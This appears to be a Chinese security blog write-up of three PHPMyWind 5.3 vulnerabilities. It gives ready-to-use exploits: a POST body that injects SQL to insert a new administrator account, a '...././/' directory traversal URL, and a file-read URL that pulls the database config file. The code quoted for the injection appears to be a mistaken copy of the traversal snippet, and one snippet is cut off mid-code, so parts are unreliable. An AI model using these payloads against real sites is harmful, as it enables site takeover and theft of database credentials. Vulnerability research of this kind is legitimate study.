最新版本 5.3
看wooyun厂商这忽略的架势就觉得是有点放弃治疗的想法啊。
前台会员注入
分析
http://www.wooyun.org/bugs/wooyun-2015-0117008
我看了一下最新版还有这个注入,而作者给的exp有坑处。
这是一个完善账号的功能,在核心文件里面,这个程序用了伪全局,也就导致可以给未初始化的变量赋值。
member.php文件
if(empty($dirname) or $dirname=='uploads/')
{
$dirname = 'uploads/';
$dirhigh = 'javascript:;';
$dirtext = '当前是根目录';
}
else
{
$dirname = str_replace(array('..\\', '../', './', '.\\'), '', trim($dirname)); //出问题的地方
$dirname = htmlspecialchars($dirname);
$dirhigh = '?dirname=';
$dirtext = '返回上一层';
$dirarr = explode('/', $dirname);
$curnum = count($dirarr)-2;
for($i=0; $i<$curnum; $i++)
{
$dirhigh .= $dirarr[$i].'/';
}
}
看这个if,也就直接不然它check_app_login到是qq或者是微博就直接进入ExecNoneQuery的查询。加上可以直接赋值导致sql漏洞出现。
利用
先注册一个账号,testaa,123456,登录后。
访问:http://10.211.55.3/phpmywind/PHPMyWind_5.3/member.php?a=perfect
并post:
username=123123a123x&password=a123123123&repassword=a123123123&email=a12312@qq.com&sql=insert into pmw_admin (`username`,`password`,`levelname`) values((1231235),0x6333323834643066393436303664653166643261663137326162613135626633,1)
wooyun那个exp没有加上levelname,以及那个password说是md5一次。
这里password是admin,先经过两次md5,再hex(有过滤),这样就能得到一个管理员权限的账号。
目录遍历
/admin/upload_filemgr_dir.php文件
if(empty($dirname) or $dirname=='uploads/')
{
$dirname = 'uploads/';
$dirhigh = 'javascript:;';
$dirtext = '当前是根目录';
}
else
{
$dirname = str_replace(array('..\\', '../', './', '.\\'), '', trim($dirname)); //出问题的地方
$dirname = htmlspecialchars($dirname);
$dirhigh = '?dirname=';
$dirtext = '返回上一层';
$dirarr = explode('/', $dirname);
$curnum = count($dirarr)-2;
for($i=0; $i<$curnum; $i++)
{
$dirhigh .= $dirarr[$i].'/';
}
}
$dirname = str_replace(array('..\\', '../', './', '.\\'), '', trim($dirname));
这些过滤为空,并没有用循环去过滤,所以就很容易出问题。
由于这个是先过滤了../,再过滤./
所以可以构造一下...././/,这样经过滤后就能得到../字符导致目录遍历。
http://10.211.55.3/phpmywind/PHPMyWind_5.3/admin/upload_filemgr_dir.php?dirname=uploads/...././/...././/
文件读取
/admin/editfile_update.php文件
0)
{
$content = fread($fp, filesize($dir.$filename));
$content = str_replace("
其实这个和第一个注入有点相似。if($action == 'update')
直接不进入这个判断就可以导致后面代码的执行以至于文件读取,直接读取db配置文件。
http://10.211.55.3/phpmywind/PHPMyWind_5.3/admin/editfile_update.php?filename=/include/conn.inc.php